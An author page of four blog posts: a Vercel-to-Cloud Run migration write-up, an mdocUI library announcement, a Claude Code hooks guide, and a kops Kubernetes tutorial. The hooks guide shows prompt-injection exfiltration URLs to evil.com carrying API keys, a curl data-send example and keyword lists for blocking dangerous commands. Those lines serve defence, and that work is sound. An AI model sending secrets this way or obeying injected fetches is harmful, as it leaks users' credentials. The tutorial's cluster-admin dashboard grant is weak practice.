DEV Community: Abhay

We moved our Next.js app from Vercel to Google Cloud Run. Here's how it actually went.

Abhay — Thu, 14 May 2026 06:21:00 +0000

We moved our production Next.js 16 app from Vercel to Google Cloud Run last week. The whole thing took about ten focused hours from "let's plan this" to "production traffic on GCP." Some parts went well. A few caught us off guard. One bug only showed up on the second deploy and would bite anyone with the same setup.

This is the honest story. If you're thinking about the same move, hopefully you skip the parts I tripped over.

Why we were on Vercel

When the project was three weeks old, I needed a deploy target I could ignore. vercel --prod worked. Custom domains worked. SSL worked. Preview branches just appeared. I had a Next.js 14 app, no time for infra, and a list of customer features that mattered more than where the bits ran.

We sat on Vercel Pro for almost a year. It earned its keep. Everything I complain about below is the predictable cost of an early-stage setup meeting real product needs.

Why we moved

A few unrelated things lined up at the same time.

Most of our backend was already on GCP. Our heavy work runs in background workers that pull from pgmq, a Postgres queue extension. Those workers needed more compute than Vercel functions allowed, so they went on Cloud Run from day one. The web app stayed on Vercel. We had a seam in the architecture nobody wanted to admit was a seam: "the system runs on GCP, except the part the user actually sees."

We also got into the GCP for Startups program. That's about a year of credits sitting in the account, which changes the cost math. The web app was our biggest line item on Vercel and would be one of the smaller ones on GCP.

Most of our users are in India. Cloudflare proxies everything anyway, so end-user TTFB is dominated by Cloudflare's edge in Bombay. But origin-pull latency matters for routes the CDN can't cache — dashboards, server actions, an SSE stream that holds connections open for minutes. Vercel was serving us from bom1 too, but with extra hops through their edge middleware. After cutover I measured ~45ms median TTFB through the new stack against ~170ms before, from the same client.

The last reason is the one that quietly drove me crazy. Workers had alerts in Cloud Monitoring, secrets in Secret Manager, IAM in Terraform. Web had Vercel's UI, Vercel's env var system, Vercel's auth model. Two halves of one product, two mental models for every change.

None of those reasons by itself was enough. Together they were.

The plan, before it met reality

Six phases, each meant to be revertible on its own.

Audit first. Inventory every env var, every domain, every webhook. Compare to what the new Terraform would create. Then build infra: Cloud Run service, Global HTTPS load balancer, Cloud Armor in preview mode, Cloud CDN, Artifact Registry, Workload Identity Federation for GitHub Actions, monitoring alerts. Apply with a placeholder image so the resources exist before any real build pushes one. Then CI/CD: a workflow that builds the Docker image, pushes to Artifact Registry, canary-deploys to Cloud Run with no traffic, waits for the revision to go Ready, then shifts traffic. Then a 3–5 day soak running the new stack in parallel with Vercel, smoke-testing through the LB IP with curl --resolve so no DNS changes yet. Then the actual DNS flip. Then teardown.

I ended up doing the soak in about fifteen minutes instead of five days, but I'll get to that.

The Sensitive env var problem

This is the part I want most people to know about, and the part I want to be careful not to give bad advice on.

Vercel has two main classes of environment variable for secrets: encrypted and sensitive. Both are encrypted at rest. The difference is how readable they are after that. Encrypted vars decrypt back to plaintext on Vercel's systems for things like the dashboard, the CLI (vercel env pull), and read APIs. Sensitive vars are protected so the plaintext is only available to your running build and runtime. You can't read them back through the dashboard, the CLI, or any API. The dashboard just shows an empty box. vercel env ls lists them by name only.

This protection is not theoretical. Vercel had a security incident in April 2026 where an attacker pivoted through a third-party AI tool into a Vercel employee's Google Workspace, and from there into Vercel internal systems. The attacker enumerated and decrypted non-sensitive environment variables for a subset of customers. Sensitive variables were not exposed. Vercel's advice after the incident was to rotate any non-sensitive secrets and move secret material to the Sensitive class going forward.

So when twenty-two of our secrets were Sensitive — payment provider keys, webhook signing secrets, a database encryption key, an LLM provider key, our database service role, Sentry tokens — that wasn't a mistake. That was security working correctly. The "you can't read them back" property is the whole point. If those values could be pulled out from outside the running deployment, an attacker with the right access could pull them too.

The cost of that property is that when you leave the platform, those values are unrecoverable from Vercel. The answer is not to weaken the security class. The answer is to rotate.

So we rotated every Sensitive secret as part of the move. The flow per secret was the same. Generate a new value. Put it in Secret Manager. Update the upstream provider's dashboard to issue or accept the new key. Switch the consuming code in the new infra. Watch traffic confirm the new key is being used, then revoke the old. The old Vercel values stay locked away forever. Which is fine. They were never meant to come back out.

The real work was the choreography. Payment processors usually let you have multiple active API keys, so you add the new one, watch usage shift, revoke the old. Webhook signing secrets are trickier when the receiver only accepts one — most providers let you accept two during a rotation window. OAuth client secrets often allow only one active value, so you eat a short window of failed callbacks or spin up a second OAuth client. Database credentials are easiest if you just create a new DB user for the new infra instead of rotating the existing one.

If you're on Vercel today, keep using Sensitive for actual secrets. Rotation is the right path out, and being on Sensitive protects you from the class of incident Vercel disclosed in April.

The Cloudflare origin cert trick

Google-managed SSL certs on a GCP load balancer don't go ACTIVE until at least one of their SAN domains has a DNS record pointing at the LB. This is how Google validates ownership. It also means there's a chicken-and-egg moment at cutover: until DNS flips, the cert is stuck in PROVISIONING.

A few minutes of a not-yet-ready cert is usually fine. We had two reasons to avoid it. Cloudflare in front of the LB connects to origin in Full (strict) mode, which requires a valid origin cert at the TLS handshake. If the origin cert is provisioning at the same moment DNS flips, Cloudflare can fail open or fail closed depending on settings — neither of which I wanted to discover in production. And the managed cert provisioning timeline runs anywhere from 15 to 60 minutes in practice. That's too unpredictable.

The fix is a Cloudflare Origin Certificate. Cloudflare issues you a 15-year cert signed by their internal CA. Their edge fully trusts it. No browser does, but that's fine — browser users only ever talk to Cloudflare's public edge cert. You upload the origin cert to the LB as a self-managed certificate, and the Cloudflare-to-LB hop works the moment you flip DNS.

I bound both certs on the HTTPS proxy. Cloudflare origin cert primary, Google managed cert as fallback. The Google cert eventually provisioned to ACTIVE about 25 minutes after cutover, by which point it didn't matter. Defensive overkill, maybe. The whole worry goes away if you're comfortable with a 30-minute "this might 5xx" window. I wasn't.

Two bugs that hide until they don't

Both of these are silent failures. Both make your old revision keep serving while everything looks fine in the browser. Both come from things that are easy to get wrong if you copy-paste your deploy script.

The first one is the wait-for-Ready check. Our workflow does this:

gcloud run services update "$SERVICE" \
  --image "$IMAGE" --no-traffic --tag="sha-${SHORT_SHA}"

for i in $(seq 1 60); do
  STATUS=$(gcloud run revisions describe "$LATEST" \
    --format='value(status.conditions[?type=Ready].status)')
  if [ "$STATUS" = "True" ]; then break; fi
  sleep 5
done

The [?type=Ready] is JMESPath filter syntax. It works in the aws CLI. It does not work in gcloud --format=value(...). gcloud silently returns an empty string. The poll times out at five minutes. The deploy step fails. Traffic-shift never runs. The new revision sits Ready on 0% traffic and the old one keeps serving. The fix is to poll the service-level field instead:

READY=$(gcloud run services describe "$SERVICE" \
  --format='value(status.latestReadyRevisionName)')
if [ "$READY" = "$LATEST" ]; then break; fi

That's the gcloud-native pattern. The JMESPath thing got in there because the workflow was adapted from an old AWS deploy script. If your workflow has any inherited syntax, do one pass on it before you cut over.

The second bug only shows up on the second deploy. Our canary flow tags the currently-serving image as :previous-good before shifting traffic, so rollback is one workflow-run away. The command is gcloud artifacts docker tags add against the :previous-good tag. On the first ever deploy, that tag doesn't exist yet, so the command just creates it and everyone is happy. On every deploy after that, the tag already exists pointing at a different image, so the command has to delete the old binding before creating the new one. That delete needs artifactregistry.tags.delete. Our deployer service account had roles/artifactregistry.writer, which covers create but not delete.

Result: the second deploy passed every step except the tag step. Same failure shape as the JMESPath bug — new revision Ready on 0% traffic, old revision still serving. It took me fifteen minutes to figure out because the symptom looked identical to the first bug. The fix was one Terraform line: deployer SA gets roles/artifactregistry.repoAdmin on each repo instead of writer. Same scope, slightly more permission, covers both operations.

If your team has a canary deploy that re-tags an image to mark rollback targets, audit that flow today. Both these bugs are invisible until they aren't.

The actual cutover

I'd planned for three to five days of soak. It ended up being about fifteen minutes.

The smoke test was simple. I edited /etc/hosts to point the production hostname at the GCP LB IP. Then I accepted the cert warning in the browser and walked through the things that matter: OAuth callback, the SSE streaming route, server actions, payments checkout. Everything worked. Cloudflare's orange-cloud proxy means a DNS flip-back is under sixty seconds at any point. Both stacks share the same Supabase backend, so there's no data divergence to worry about either.

The disciplined version of risk management would have been five days of synthetic monitoring before flipping. The pragmatic version was a checklist, a smoke test, and the knowledge that rollback was instant.

I flipped DNS at 23:00 IST. Cloudflare picked up the new origin in under thirty seconds. Cloud Run request volume climbed from zero to real traffic inside the next minute. Twelve hours later, the only anomalies in the logs were the same bot scanners that had been hitting xmlrpc.php and /wp-admin on the old stack.

The defense-in-depth thing I got wrong

I'd been carrying a task that said "Cloud Armor must flip from preview to enforce by day-7." The original plan was Cloud Armor's OWASP rules in front of Cloud Run, plus Cloudflare's free DDoS layer, plus our app-level checks.

Once we actually got the new stack up, I realized we had Cloudflare Enterprise on the zone, which includes Cloudflare's Managed Ruleset, Exposed Credentials Check, and OWASP Core Ruleset. After deploying those, Cloud Armor became the second WAF in the chain, running the same OWASP signatures as Cloudflare but later in the path. Two WAFs blocking the same traffic just doubles the false-positive triage surface.

Cloudflare WAF is now the primary blocker. Cloud Armor stays in preview mode permanently — it logs everything Cloudflare let through, which is useful forensic data, but it doesn't block. The day-7 enforce deadline is gone. If something gets past Cloudflare in an attack, Cloud Armor's logs show the pattern and I can write a tuned Cloudflare rule. The decision lives in the Terraform with a comment explaining why preview is permanent, so whoever joins next doesn't think it's a TODO.

The Vercel ending

We didn't delete the Vercel project. I downgraded to Hobby and kept the auto-deploy from main running. The project rebuilds on every push. The deployment sits there warm. No production traffic touches it. It stays available as a warm-standby in case GCP has a bad day.

If we ever need to roll back at the infrastructure level, the failover is a Cloudflare DNS A record flip. Sixty seconds. Same backend. That posture would have horrified Vercel-fan-me from a year ago. Pragmatic-me thinks it's a useful redundancy at zero cost.

What I'd do differently

A few things, in order of how much I want to take them back. Plan secret rotation into the migration timeline from day one. Sensitive-class env vars are the correct security posture, and the way they protect values is the point. Bake the provider-dashboard coordination work into the schedule from the start. Audit your deploy workflow for inherited JMESPath syntax before your first cutover, not after. Grant artifactregistry.repoAdmin to the deployer service account on day one, or pick a tagging strategy that doesn't need delete. Use a Cloudflare Origin Certificate even when you also have a managed cert — it's free, it lasts fifteen years, and it removes a class of cutover failure. If your testing is good, skip the soak. Five days of synthetic monitoring does not catch what one careful smoke test catches. And don't run two WAFs in enforce mode at the same time unless someone on the team has time to triage false positives twice.

The shape now

Internet
  ↓
Cloudflare (orange-cloud)
  ├─ WAF Managed Ruleset (Block)
  ├─ Exposed Credentials Check (Block)
  ├─ OWASP Core Ruleset (Log → Block after soak)
  └─ Rate Limiting + DDoS L3/L4/L7
  ↓
GCP Global HTTPS LB (Cloudflare Origin Cert)
  ↓
Cloud Armor (preview, forensic logging only)
  ↓
Cloud CDN (USE_ORIGIN_HEADERS cache mode)
  ↓
Cloud Run v2 (asia-south1, ingress = INTERNAL_LB)

More moving parts than Vercel. Operational overhead is roughly the same once it's running, because everything is in Terraform and the deploy is a git push. Cost is covered by startup credits for the next year. Without those credits, this stack is more expensive than Vercel Pro at our current always-on worker footprint — be honest with yourself about that math before you commit.

If you read this far and you're sitting on the same decision, I'm happy to talk through your specifics. The secret-rotation choreography and the canary-deploy IAM gotchas are where people get stuck.

Why Markdoc for LLM Streaming UI

Abhay — Fri, 03 Apr 2026 13:10:12 +0000

Every AI chatbot I've built hits the same wall.

The LLM writes beautiful markdown — headings, bold, lists, code blocks. Then someone asks for a chart. Or a form. Or a data table with sortable columns.

Suddenly you need a component rendering layer. And every approach has tradeoffs.

That's why I built mdocUI: a streaming-first generative UI library that lets LLMs mix markdown and interactive components in one output stream.

The Problem

JSON blocks in markdown

Some teams embed JSON in fenced code blocks:

Here's your revenue data:

```json:chart
{"type": "bar", "labels": ["Q1", "Q2", "Q3"], "values": [120, 150, 180]}
```

This works until you're streaming. A JSON object that arrives token-by-token is invalid JSON until the closing brace lands. You either buffer the entire block (killing the streaming experience) or parse incomplete JSON (fragile).

JSX in markdown

Here's your data:

<Chart type="bar" labels={["Q1", "Q2", "Q3"]} values={[120, 150, 180]} />

Models get confused. They mix HTML attributes with JSX props. They forget to close tags. The < character appears everywhere in normal text, making streaming parsing ambiguous.

Custom DSLs

Some teams invent their own syntax — [[chart:bar:Q1=120,Q2=150]] or similar. Now you're training the model on a format it's never seen, burning tokens on format instructions, and maintaining a custom parser.

Why Markdoc Tag Syntax

Markdoc is a documentation framework created by Stripe. It extends markdown with custom tag delimiters. In this article, I’ll show them as [% %] so Dev.to doesn’t try to parse them as Liquid:

Here's your revenue data:

[% chart type="bar" labels=["Q1","Q2","Q3"] values=[120,150,180] /%]

Revenue grew 12% quarter-over-quarter.

[% button action="continue" label="Show by region" /%]

Three properties make this tag syntax ideal for LLM streaming:

Unambiguous delimiter — the opening sequence is something you would never expect in normal prose, standard markdown, or fenced code blocks. A streaming parser can detect it without lookahead or backtracking.
Models already know it — Markdoc is in training data (Stripe docs, Cloudflare docs). Models write it correctly without extensive format instructions.
Prose and components coexist — no mode switching. The LLM writes markdown and drops components wherever they fit. The parser separates them as tokens arrive.

How mdocUI Works

mdocUI borrows only the tag syntax from Markdoc. We built our own streaming parser from scratch.

Architecture:

LLM tokens → Tokenizer → StreamingParser → ComponentRegistry → Renderer

The tokenizer is a character-by-character state machine with three states: IN_PROSE, IN_TAG, IN_STRING. As tokens arrive, it separates prose from component tags.

The ComponentRegistry validates tag names and props against Zod schemas. Invalid tags get error boundaries, not crashes.

The Renderer maps AST nodes to React components. Every component is theme-neutral — currentColor, inherit, no hardcoded colors. Swap any component with your own.

Getting Started

pnpm add @mdocui/core @mdocui/react

import { generatePrompt } from '@mdocui/core'
import { createDefaultRegistry, defaultGroups } from '@mdocui/react'
import { Renderer, useRenderer, defaultComponents } from '@mdocui/react'

const registry = createDefaultRegistry()

// Auto-generate system prompt from your component registry
const systemPrompt = generatePrompt(registry, {
  preamble: 'You are a helpful assistant.',
  groups: defaultGroups,
})

// In your React component
function Chat() {
  const { nodes, isStreaming, push, done } = useRenderer({ registry })

  return (
    <Renderer
      nodes={nodes}
      components={defaultComponents}
      isStreaming={isStreaming}
      onAction={(event) => console.log(event)}
    />
  )
}

24 components are included: chart, table, stat, card, grid, tabs, form, button, callout, accordion, progress, badge, image, code-block, and more.

What's Next

mdocUI is alpha (0.6.x). The API is stabilizing. We're working on:

Vue, Svelte, and Solid renderers
Vercel AI SDK useChat bridge
Browser devtools for AST inspection
VS Code extension for Markdoc-style tag syntax highlighting

Try the playground: https://mdocui.vercel.app
GitHub: https://github.com/mdocui/mdocui
Docs: https://mdocui.github.io

Feedback, issues, and PRs welcome.

Claude Code: Auto-Approve Tools While Keeping a Safety Net with Hooks

Abhay — Tue, 31 Mar 2026 06:48:59 +0000

Every time Claude Code fetches a URL, it asks for permission. After the 50th approval for a docs page, you start wondering — can I just auto-allow this?

You can. But there's a catch: WebFetch can send data in query parameters. A prompt injection buried in a file could trick Claude into fetching https://evil.com?secret=YOUR_API_KEY. Auto-approving everything means you'd never see it happen.

Here's how I set up a middle ground: auto-allow clean URLs, but show a confirmation prompt when query parameters are present.

The naive approach (don't do this)

You might think adding WebFetch to permissions is enough:

// ~/.claude/settings.json
{
  "permissions": {
    "allow": ["WebFetch"]
  }
}

This works — but it auto-allows everything, including https://evil.com?token=abc123. No safety net.

The hook approach (do this instead)

Claude Code has a PreToolUse hook system. A hook runs before every tool call and can:

Exit 0 — silently allow (no prompt)
Exit 1 — show a message and ask for confirmation (approve/deny)
Exit 2 — hard block (no option to proceed)

The hook receives the full tool call as JSON via stdin — tool name, input parameters, session ID, everything.

Here's the setup in ~/.claude/settings.json:

{
  "hooks": {
    "PreToolUse": [
      {
        "matcher": "WebFetch",
        "hooks": [
          {
            "type": "command",
            "command": "python3 -c \"import sys,json; data=json.load(sys.stdin); url=data.get('tool_input',{}).get('url',''); print('URL has query params, review: '+url, file=sys.stderr) if '?' in url else None; sys.exit(1) if '?' in url else sys.exit(0)\"",
            "statusMessage": "Checking WebFetch URL for query params..."
          }
        ]
      }
    ]
  }
}

That's it. One hook, zero dependencies.

What this does

URL	Behavior
`https://docs.python.org/3/library/json.html`	Auto-allowed, no prompt
`https://api.example.com/data?key=secret`	Shows URL, asks you to approve or deny

When a URL has query params, you'll see something like:

URL has query params, review: https://api.example.com/data?key=secret

And Claude Code pauses for your decision. If it's legitimate (like a search query or API docs with anchors), you approve. If it looks suspicious, you deny.

How it works under the hood

The PreToolUse hook receives JSON on stdin with this structure:

{
  "session_id": "abc-123",
  "hook_event_name": "PreToolUse",
  "tool_name": "WebFetch",
  "tool_input": {
    "url": "https://example.com/page?q=test",
    "prompt": "Summarize this page"
  }
}

The Python one-liner:

Reads the JSON from stdin
Extracts the URL from tool_input.url
Checks if ? is present
Exits with 1 (ask) or 0 (allow)

Gotcha: `permissions.allow` overrides hooks

This tripped me up. If you add WebFetch to both permissions.allow AND set up a hook:

{
  "permissions": {
    "allow": ["WebFetch"]  
  },
  "hooks": {
    "PreToolUse": [...]
  }
}

The hook never fires. permissions.allow takes full precedence — the tool is approved before the hook even runs. Remove the permission rule and let the hook be the sole gatekeeper.

Gotcha: stdin, not environment variables

Hook input comes via stdin, not an environment variable. I initially tried os.environ.get('ARGUMENTS') — it was empty. The correct approach is json.load(sys.stdin).

Going further

You can apply this pattern to other tools too. Some ideas:

Bash command guard — ask before running destructive commands:

{
  "matcher": "Bash",
  "hooks": [{
    "type": "command",
    "command": "python3 -c \"import sys,json; cmd=json.load(sys.stdin).get('tool_input',{}).get('command',''); dangerous=any(w in cmd for w in ['rm -rf','drop table','--force','--hard']); print('Dangerous command: '+cmd, file=sys.stderr) if dangerous else None; sys.exit(1) if dangerous else sys.exit(0)\""
  }]
}

Write guard — flag writes to sensitive paths:

{
  "matcher": "Write",
  "hooks": [{
    "type": "command",
    "command": "python3 -c \"import sys,json; path=json.load(sys.stdin).get('tool_input',{}).get('file_path',''); sensitive=any(s in path for s in ['.env','.key','credentials','secret']); print('Writing to sensitive file: '+path, file=sys.stderr) if sensitive else None; sys.exit(1) if sensitive else sys.exit(0)\""
  }]
}

Caution: This is not bulletproof

This hook catches the most common exfiltration vector — query parameters. But data can leak through other parts of a URL too:

Path parameters:

https://evil.com/exfil/YOUR_API_KEY/done

Subdomains:

https://YOUR_API_KEY.evil.com/callback

Fragment identifiers (less risky since fragments aren't sent to servers, but still worth knowing):

https://evil.com/page#secret=abc

POST body via other tools — if an attacker tricks Claude into using Bash with curl -d "secret=xxx", WebFetch hooks won't catch it at all.

What you can do about it

Allowlist known domains — instead of checking for ?, flip the logic. Only auto-allow domains you trust, and ask for everything else:

{
  "command": "python3 -c \"import sys,json; from urllib.parse import urlparse; data=json.load(sys.stdin); url=data.get('tool_input',{}).get('url',''); host=urlparse(url).hostname or ''; trusted=['docs.python.org','developer.mozilla.org','github.com','stackoverflow.com']; is_trusted=any(host.endswith(d) for d in trusted); print('Unknown domain: '+url, file=sys.stderr) if not is_trusted else None; sys.exit(0 if is_trusted else 1)\""
}

Layer your defenses — combine the query param hook with a domain allowlist. Use exit 0 for trusted domains with no params, exit 1 for trusted domains with params or unknown domains, and exit 2 for known-bad patterns.
Watch your Bash tool too — add a separate hook for Bash that flags curl, wget, or nc commands with suspicious arguments.
Review the URL every time you approve — sounds obvious, but when you're in flow and approving prompts quickly, it's easy to glaze over. The whole point of exit code 1 is to make you pause. Actually pause.

Bottom line: The hook in this article reduces your attack surface significantly — most prompt injection exfiltration uses query params because it's the easiest path. But no single check catches everything. Treat this as one layer, not the whole wall.

TL;DR

Don't use permissions.allow for WebFetch — it bypasses all hooks
Use a PreToolUse hook that exits 0 (allow) or 1 (ask) based on the URL
Hook input is JSON via stdin
~/.claude/settings.json makes it global across all projects
Query param checks are a good start, but consider domain allowlisting for stronger protection
Data can also leak via path params, subdomains, and Bash commands — layer your defenses

The goal isn't to block Claude from fetching URLs. It's to keep yourself in the loop when data might be leaving your machine. Two minutes of setup, permanent peace of mind — but stay vigilant.

If you're using Claude Code daily, these small safety guardrails compound. Two minutes of config now saves you from a bad day later. Got a better hook setup? Drop it in the comments — let's build a community-maintained collection.

Setup your own Kubernetes Cluster with Kops and AWS Infrastructure

Abhay — Sun, 01 Mar 2020 06:26:59 +0000

As you started reading this article, so I believe you must known What is kubernetes and AWS.

Pre-requisite configuration:

AWS Account → https://portal.aws.amazon.com/billing/signup
Kubectl (Kubernetes Command-lin Tool):
Install Kubectl on your system → https://kubernetes.io/docs/tasks/tools/install-kubectl/
KOPS (Kubernetes Operations):
Install Kops on your system, follow this official documentation → https://github.com/kubernetes/kops#installing
Install AWS CLI and configure - https://aws.amazon.com/cli/

Verify installation by execcuting aws --version

You need to create new user on AWS. However you can use root user, but its not recommended at all.

Open IAM console: https://console.aws.amazon.com/iam/
In the navigation pane, choose Users and then choose Add user
Type user name for new user. I am using kops as a username for simplicity
Select type of access as Programmatic access
Choose Next for Permission and give admin access to this user with AdministratorAccess Policy
Choose next for Tags and Review
This will creates an Access Key ID and Secret Access Key. Store them securely as You will not have access to the secret access key again after this step.

Use command aws configure and enter Access Key ID, Secret Access Key and Default Region Name on prompt. I am using ap-south-1 which is Asia Pacific server at Mumbai. See list of aws regions here.

Deploying Kubernetes to AWS

https://kops.sigs.k8s.io/getting_started/aws/

Setup IAM user

Create an IAM user with following permissions:

AmazonEC2FullAccess
AmazonRoute53FullAccess
AmazonS3FullAccess
IAMFullAccess
AmazonVPCFullAccess

Do it with command line>

aws iam attach-group-policy --policy-arn arn:aws:iam::aws:policy/AmazonEC2FullAccess --group-name kops aws iam attach-group-policy --policy-arn arn:aws:iam::aws:policy/AmazonRoute53FullAccess --group-name kops aws iam attach-group-policy --policy-arn arn:aws:iam::aws:policy/AmazonS3FullAccess --group-name kops aws iam attach-group-policy --policy-arn arn:aws:iam::aws:policy/IAMFullAccess --group-name kops aws iam attach-group-policy --policy-arn arn:aws:iam::aws:policy/AmazonVPCFullAccess --group-name kops

aws iam create-user --user-name kops

aws iam add-user-to-group --user-name kops --group-name kops

aws iam create-access-key --user-name kops

Buy a domain (If don't have already)

I have buy (:p) https://kubernetes.cf for this tutorial

Create Hosted Zone in AWS

Create hosted zone in AWS and update NS in DNS of domain provider

Test the DNS setup

dig ns dev.kubernetes.cf

should get something like
;; ANSWER SECTION:
dev.kubernetes.cf. 172800 IN NS ns-1.awsdns-1.net.
dev.kubernetes.cf. 172800 IN NS ns-2.awsdns-2.org.
dev.kubernetes.cf. 172800 IN NS ns-3.awsdns-3.com.
dev.kubernetes.cf. 172800 IN NS ns-4.awsdns-4.co.uk.

Create cluster state storage on S3

aws s3api create-bucket \ --bucket dev-kubernetes-cf-state-store \ --region ap-south-1 --create-bucket-configuration LocationConstraint=<region>

aws s3api put-bucket-versioning --bucket dev-kubernetes-cf-state-store --versioning-configuration Status=Enabled

aws s3api put-bucket-encryption --bucket dev-kubernetes-cf-state-store --server-side-encryption-configuration '{"Rules":[{"ApplyServerSideEncryptionByDefault":{"SSEAlgorithm":"AES256"}}]}'

Creating the Cluster

export NAME=dev.kubernetes.cf export KOPS_STATE_STORE=s3://dev-kubernetes-cf-state-store

aws ec2 describe-availability-zones --region ap-south-1

create secret generate local keys: ssh-keygen

kops create secret --name dev.kubernetes.cf sshpublickey admin -i ~/.ssh/id_rsa.pub

create SSL using AWS Certificate Manager

kops create cluster \ --zones ap-south-1a \ --state s3://dev-kubernetes-cf-state-store \ --api-ssl-certificate arn:aws:acm:[aws-cert-key-id} \ ${NAME} 

Master and Worker nodes are configurable in termas of specification and count

If you want to edit something
kops edit cluster ${NAME}

Finally apply cluster configuration
kops update cluster ${NAME} --yes

kubectl get nodes

use following command to validate cluster is up and running, it may take up to 10-15 minutes to complete setup
kops validate cluster

Install Kubernetes Dashboard

Connect to master

ssh to the master: ssh -i ~/.ssh/id_rsa admin@api.dev.kubernetes.cf

Install Kube Dashboard

kubectl apply -f https://raw.githubusercontent.com/kubernetes/dashboard/v2.0.0-beta6/aio/deploy/recommended.yaml

Create the service account in the current namespace

kubectl create serviceaccount my-dashboard-sa

Give that service account root access on the cluster

kubectl create clusterrolebinding my-dashboard-sa \
--clusterrole=cluster-admin \
--serviceaccount=default:my-dashboard-sa`

Find the secret that was created to hold the token for the SA

kubectl get secrets

Show the contents of the secret to extract the token

kubectl describe secret my-dashboard-sa-token-xxxxx

run `kubectl proxy`

Install ngnix-controller with helm

Install Helm - https://helm.sh/docs/intro/install/

helm install nginx-cntroller nginx/nginx-ingress

apply SSL on Load Balancer

update load balancer endpoint url in Route53 as alias target

change loadbalancer instance port of 443 same as 80

create service i.e. goapp

User followign docker image for quick reference: https://hub.docker.com/r/abygawade/goapp

create an ingress with following configuration

apiVersion: networking.k8s.io/v1beta1
kind: Ingress
metadata:
  name: dev-ingress
spec:
  rules:
  - host: dev.kubernetes.cf
    http:
      paths:
      - path: /go
        backend:
          serviceName: goapp
          servicePort: 80

Visit: http://dev.kubernetes.cf/go
https://dev.kubernetes.cf/go

Replace kubernetes.cf with your domain name